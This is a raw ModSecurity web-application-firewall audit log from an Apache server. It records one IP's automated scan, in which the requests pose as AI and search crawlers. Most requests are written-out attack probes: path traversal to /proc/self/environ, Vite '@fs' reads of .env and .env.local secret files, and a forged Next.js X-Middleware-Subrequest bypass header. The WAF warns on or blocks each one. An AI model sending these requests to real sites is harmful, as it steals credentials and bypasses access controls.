Stopwatch2: 1789280469857594 176613; combined=4448, p1=208, p2=4187, p3=0, p4=0, p5=52, sr=87, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--4b6cae01-Z--

--2a92a267-A--
[13/Sep/2026:09:21:10.151001 +0300] aqZA1WM7dE9KgIIOpQhqxAAAAMs 34.181.172.83 41934 127.0.0.1 7081
--2a92a267-B--
GET /@fs/.env?import&?raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; xAI-Grok/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--2a92a267-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--2a92a267-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&?raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/.env"] [unique_id "aqZA1WM7dE9KgIIOpQhqxAAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280469924783 226296 (- - -)
Stopwatch2: 1789280469924783 226296; combined=4889, p1=204, p2=4625, p3=0, p4=0, p5=60, sr=82, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--2a92a267-Z--

--a2803d06-A--
[13/Sep/2026:09:21:10.644210 +0300] aqZA1mM7dE9KgIIOpQhqywAAAM0 34.181.172.83 42018 127.0.0.1 7081
--a2803d06-B--
GET /api/w/starter/jobs_u/get_log_file/../../../../proc/self/environ HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--a2803d06-F--
HTTP/1.1 403 Forbidden
Content-Length: 199
Content-Type: text/html; charset=iso-8859-1

--a2803d06-H--
Message: Access denied with code 403 (phase 2). [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "81"] [id "33311"] [msg "IM360 WAF: Found crawler not in whitelist||T:APACHE||User-Agent:Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)||MV:09-21.34.181.172.83"] [severity "CRITICAL"] [tag "service_i360"]
Message: Operator EQ matched 1 at TX:trapped. [file "/etc/httpd/conf/modsecurity.d/rules/custom/000_i360_0.conf"] [line "127"] [id "33329"] [msg "IPRec: G: P: F:||T:APACHE||R:403"] [severity "DEBUG"] [tag "service_i360"] [tag "noshow"]
Action: Intercepted (phase 2)
Stopwatch: 1789280470602249 42013 (- - -)
Stopwatch2: 1789280470602249 42013; combined=40715, p1=245, p2=40201, p3=0, p4=0, p5=268, sr=93, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--a2803d06-Z--

--771eb136-A--
[13/Sep/2026:09:21:11.620042 +0300] aqZA12M7dE9KgIIOpQhq0wAAAMs 34.181.172.83 42150 127.0.0.1 7081
--771eb136-B--
GET /.env.local?raw HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Meta-ExternalAgent/1.0; +https://developers.facebook.com/docs/sharing/webmasters/crawler)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--771eb136-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--771eb136-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA12M7dE9KgIIOpQhq0wAAAMs"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA12M7dE9KgIIOpQhq0wAAAMs"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471503349 116776 (- - -)
Stopwatch2: 1789280471503349 116776; combined=35035, p1=314, p2=34656, p3=0, p4=0, p5=65, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--771eb136-Z--

--7d03ce47-A--
[13/Sep/2026:09:21:11.641526 +0300] aqZA12M7dE9KgIIOpQhq0AAAANQ 34.181.172.83 42118 127.0.0.1 7081
--7d03ce47-B--
GET /.env?raw HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--7d03ce47-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--7d03ce47-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA12M7dE9KgIIOpQhq0AAAANQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471311491 330109 (- - -)
Stopwatch2: 1789280471311491 330109; combined=4999, p1=279, p2=4649, p3=0, p4=0, p5=71, sr=120, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--7d03ce47-Z--

--e65d9a5a-A--
[13/Sep/2026:09:21:11.707163 +0300] aqZA12M7dE9KgIIOpQhq0gAAANI 34.181.172.83 42136 127.0.0.1 7081
--e65d9a5a-B--
GET /.env?import&raw HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; GrokBot/1.0; +https://x.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--e65d9a5a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--e65d9a5a-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA12M7dE9KgIIOpQhq0gAAANI"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471448227 258995 (- - -)
Stopwatch2: 1789280471448227 258995; combined=3893, p1=255, p2=3567, p3=0, p4=0, p5=71, sr=105, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--e65d9a5a-Z--

--cba03d44-A--
[13/Sep/2026:09:21:11.773524 +0300] aqZA12M7dE9KgIIOpQhq0QAAAMY 34.181.172.83 42128 127.0.0.1 7081
--cba03d44-B--
GET /.env?import&url&inline HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--cba03d44-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--cba03d44-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&url&inline"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA12M7dE9KgIIOpQhq0QAAAMY"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471368174 405418 (- - -)
Stopwatch2: 1789280471368174 405418; combined=4084, p1=261, p2=3739, p3=0, p4=0, p5=83, sr=97, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--cba03d44-Z--

--999b546a-A--
[13/Sep/2026:09:21:12.068413 +0300] aqZA12M7dE9KgIIOpQhq1AAAAMQ 34.181.172.83 42172 127.0.0.1 7081
--999b546a-B--
GET /.env.local?import&raw HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--999b546a-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--999b546a-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA12M7dE9KgIIOpQhq1AAAAMQ"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env.local"] [unique_id "aqZA12M7dE9KgIIOpQhq1AAAAMQ"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280471641225 427244 (- - -)
Stopwatch2: 1789280471641225 427244; combined=35523, p1=244, p2=35227, p3=0, p4=0, p5=52, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--999b546a-Z--

--fd27a007-A--
[13/Sep/2026:09:21:12.326983 +0300] aqZA2GM7dE9KgIIOpQhq1wAAAMo 34.181.172.83 42224 127.0.0.1 7081
--fd27a007-B--
GET /@fs/app/.env.local?import&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--fd27a007-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--fd27a007-H--
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"]
Message: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/001_i360_1_infectors.conf"] [line "58"] [id "77142160"] [msg "IM360 WAF: Infectors. Dirb like fuzzing||MVN:REQUEST_FILENAME||MV:/@fs/app/.env.local||T:APACHE||"] [severity "DEBUG"] [tag "service_i360custom"] [hostname "3000demotive.ro"] [uri "/@fs/app/.env.local"] [unique_id "aqZA2GM7dE9KgIIOpQhq1wAAAMo"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. Matched phrase ".local" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "27"] [id "77140739"] [msg "IM360 WAF: Dirb like fuzzing||MVN:REQUEST_FILENAME||T:APACHE||MV:/@fs/app/.env.local||"] [severity "NOTICE"] [tag "service_i360custom"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/app/.env.local"] [unique_id "aqZA2GM7dE9KgIIOpQhq1wAAAMo"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472030676 296388 (- - -)
Stopwatch2: 1789280472030676 296388; combined=35871, p1=301, p2=35509, p3=0, p4=0, p5=61, sr=112, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--fd27a007-Z--

--04e2915e-A--
[13/Sep/2026:09:21:12.358207 +0300] aqZA2GM7dE9KgIIOpQhq2AAAAMM 34.181.172.83 42214 127.0.0.1 7081
--04e2915e-B--
GET /@fs/app/.env?import&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; Amazonbot/0.1; +https://developer.amazon.com/support/amazonbot)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--04e2915e-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--04e2915e-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/app/.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq2AAAAMM"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472032305 325963 (- - -)
Stopwatch2: 1789280472032305 325963; combined=3692, p1=241, p2=3392, p3=0, p4=0, p5=58, sr=96, sw=1, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--04e2915e-Z--

--c46f2227-A--
[13/Sep/2026:09:21:12.498046 +0300] aqZA2GM7dE9KgIIOpQhq2QAAAMw 34.181.172.83 42240 127.0.0.1 7081
--c46f2227-B--
GET /@fs/src/.env?import&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--c46f2227-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--c46f2227-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/@fs/src/.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq2QAAAMw"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472310889 187247 (- - -)
Stopwatch2: 1789280472310889 187247; combined=8655, p1=260, p2=8342, p3=0, p4=0, p5=53, sr=126, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--c46f2227-Z--

--26816605-A--
[13/Sep/2026:09:21:12.610993 +0300] aqZA2GM7dE9KgIIOpQhq4QAAANE 34.181.172.83 42346 127.0.0.1 7081
--26816605-B--
GET /.env?.svg?.wasm?init HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; KimiBot/1.0; +https://kimi.ai/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--26816605-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--26816605-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
Apache-Error: [file "apache2_util.c"] [line 287] [level 3] ModSecurity: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:.svg?.wasm?init"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"] [hostname "3000demotive.ro"] [uri "/.env"] [unique_id "aqZA2GM7dE9KgIIOpQhq4QAAANE"]
Apache-Handler: proxy:unix:/var/www/vhosts/system/3000demotive.ro/php-fpm.sock|fcgi://127.0.0.1:9000
Stopwatch: 1789280472511948 99121 (- - -)
Stopwatch2: 1789280472511948 99121; combined=3578, p1=255, p2=3272, p3=0, p4=0, p5=51, sr=121, sw=0, l=0, gc=0
Producer: ModSecurity for Apache/2.9.14 (http://www.modsecurity.org/).
Server: Apache
Engine-Mode: "ENABLED"

--26816605-Z--

--b9a34228-A--
[13/Sep/2026:09:21:12.758294 +0300] aqZA2GM7dE9KgIIOpQhq4AAAAMk 34.181.172.83 42336 127.0.0.1 7081
--b9a34228-B--
GET /@fs/../.env?import&raw?? HTTP/1.1
Host: 3000demotive.ro
X-Real-IP: 34.181.172.83
X-Accel-Internal: /internal-nginx-static-location
User-Agent: Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)
Accept: */*
Cookie: csrfToken=kL%2FuIJ3s%2FaGT3LZFzq1f0GZmYzA5MjJjNTNhMmM5NTIwZTg3NTc1NzFkZjE5MDlkMDQzM2E2NzQ%3D
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware
X-Nextjs-Data: 1
Accept-Encoding: gzip

--b9a34228-F--
HTTP/1.1 404 Not Found
X-Powered-By: PHP/8.5.10
Transfer-Encoding: chunked
Content-Type: text/html; charset=UTF-8

--b9a34228-H--
Message: Warning. String match "/.env" at REQUEST_FILENAME. [file "/etc/httpd/conf/modsecurity.d/rules/custom/006_i360_4_custom.conf"] [line "423"] [id "77316757"] [msg "IM360 WAF: Laravel env file access||T:APACHE||QS:import&raw??"] [severity "NOTICE"] [tag "service_i360custom"] [tag "service_i360"] [tag "noshow"]
